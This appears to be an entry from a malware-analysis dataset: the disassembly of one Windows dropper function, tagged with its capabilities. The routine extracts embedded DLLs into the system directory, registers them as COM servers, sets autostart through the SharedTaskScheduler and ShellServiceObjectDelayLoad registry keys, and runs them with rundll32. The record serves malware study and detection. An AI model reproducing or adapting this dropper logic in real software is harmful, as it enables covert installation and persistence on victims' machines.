Function at 0x40177c
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Get common file path
Get file size
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x32c
push ebx
push esi
push edi
push 0x402212
push 0
push 0x1f0001
call sub.KERNEL32.DLL_OpenMutexA
mov edi, eax
or edi, edi
je 0x4017aa
push edi
call sub.KERNEL32.DLL_CloseHandle
jmp 0x401b35
push 0x40220f
push 0
push 0x1f0001
call sub.KERNEL32.DLL_OpenMutexA
mov edi, eax
or edi, edi
je 0x4017cc
push edi
call sub.KERNEL32.DLL_CloseHandle
jmp 0x401b35
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
push 0xa
push str.MNTXT
push eax
call sub.KERNEL32.DLL_FindResourceA
mov esi, eax
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
push esi
push eax
call sub.KERNEL32.DLL_LoadResource
mov ebx, eax
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
push 0xff
lea edx, [ebp - 0xff]
push edx
push eax
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0
lea eax, [ebp - 0x320]
push eax
lea eax, [ebp - 0xff]
push eax
call sub.KERNEL32.DLL_OpenFile
mov edi, eax
push 0
push edi
call sub.KERNEL32.DLL_GetFileSize
push 0
push 0
mov edx, eax
dec edx
push edx
push edi
call sub.KERNEL32.DLL_SetFilePointer
push 0
lea eax, [ebp - 0x298]
push eax
push 1
lea eax, [ebp - 0xff]
push eax
push edi
call sub.KERNEL32.DLL_ReadFile
push 0xff
lea eax, [ebp - 0x1fe]
push eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
lea eax, [ebp - 0x1fe]
push eax
push str._swtsysl.dll
lea eax, [ebp - 0x1fe]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0xc
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x1fe]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov edi, eax
cmp edi, 0xffffffff
je 0x4018d5
push ebx
call sub.KERNEL32.DLL_LockResource
mov dword [ebp - 0x32c], eax
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
push esi
push eax
call sub.KERNEL32.DLL_SizeofResource
push 0
lea ecx, [ebp - 0x298]
push ecx
push eax
mov edx, dword [ebp - 0x32c]
push edx
push edi
call sub.KERNEL32.DLL_WriteFile
push edi
call sub.KERNEL32.DLL_CloseHandle
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
push 0xa
push 0x4021f4
push eax
call sub.KERNEL32.DLL_FindResourceA
mov esi, eax
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
push esi
push eax
call sub.KERNEL32.DLL_LoadResource
mov ebx, eax
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
push 0xff
lea edx, [ebp - 0xff]
push edx
push eax
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0
lea eax, [ebp - 0x320]
push eax
lea eax, [ebp - 0xff]
push eax
call sub.KERNEL32.DLL_OpenFile
mov edi, eax
push 0
push edi
call sub.KERNEL32.DLL_GetFileSize
push 0
push 0
mov edx, eax
dec edx
push edx
push edi
call sub.KERNEL32.DLL_SetFilePointer
push 0
lea eax, [ebp - 0x298]
push eax
push 1
lea eax, [ebp - 0xff]
push eax
push edi
call sub.KERNEL32.DLL_ReadFile
push 0xff
lea eax, [ebp - 0x1fe]
push eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
lea eax, [ebp - 0x1fe]
push eax
push str._swthunk32.dll
lea eax, [ebp - 0x1fe]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0xc
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x1fe]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov edi, eax
cmp edi, 0xffffffff
je 0x4019de
push ebx
call sub.KERNEL32.DLL_LockResource
mov dword [ebp - 0x32c], eax
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
push esi
push eax
call sub.KERNEL32.DLL_SizeofResource
push 0
lea ecx, [ebp - 0x298]
push ecx
push eax
mov edx, dword [ebp - 0x32c]
push edx
push edi
call sub.KERNEL32.DLL_WriteFile
push edi
call sub.KERNEL32.DLL_CloseHandle
mov dword [ebp - 0x292], 0x94
lea eax, [ebp - 0x292]
push eax
call sub.KERNEL32.DLL_GetVersionExA
cmp dword [ebp - 0x282], 2
jne 0x401a50
push str.3F143C3A_1457_6CCA_03A7_7AA23B61E40F
push str.SOFTWAREClassesCLSID_sInProcServer32
lea eax, [ebp - 0xff]
push eax
call sub.USER32.DLL_wsprintfA
lea eax, [ebp - 0x1fe]
push eax
push 0x402193
lea eax, [ebp - 0xff]
push eax
push 0x80000001
call fcn.0040148a
push str.Apartment
push str.ThreadingModel
lea eax, [ebp - 0xff]
push eax
push 0x80000001
call fcn.0040148a
add esp, 0x2c
jmp 0x401aa1
push str.3F143C3A_1457_6CCA_03A7_7AA23B61E40F
push str.CLSID_sInProcServer32
lea eax, [ebp - 0xff]
push eax
call sub.USER32.DLL_wsprintfA
lea eax, [ebp - 0x1fe]
push eax
push 0x402193
lea eax, [ebp - 0xff]
push eax
push 0x80000000
call fcn.0040148a
push str.Apartment
push str.ThreadingModel
lea eax, [ebp - 0xff]
push eax
push 0x80000000
call fcn.0040148a
add esp, 0x2c
cmp dword [ebp - 0x282], 2
jne 0x401adc
push str.Advanced_Features
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerSharedTaskScheduler
push 0x80000002
call fcn.00401327
push str.OLE_Automation_Module
push str.3F143C3A_1457_6CCA_03A7_7AA23B61E40F
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerSharedTaskScheduler
push 0x80000002
call fcn.0040148a
add esp, 0x1c
jmp 0x401b0c
push str.Advanced_Features
push str.SoftwareMicrosoftWindowsCurrentVersionShellServiceObjectDelayLoad
push 0x80000002
call fcn.00401327
push str.3F143C3A_1457_6CCA_03A7_7AA23B61E40F
push str.OLE_Automation_Module
push str.SoftwareMicrosoftWindowsCurrentVersionShellServiceObjectDelayLoad
push 0x80000002
call fcn.0040148a
add esp, 0x1c
lea eax, [ebp - 0x1fe]
push eax
push str.rundll32.exe__s_load
lea eax, [ebp - 0xff]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0xc
push 1
lea eax, [ebp - 0xff]
push eax
call sub.KERNEL32.DLL_WinExec
pop edi
pop esi
pop ebx
leave
ret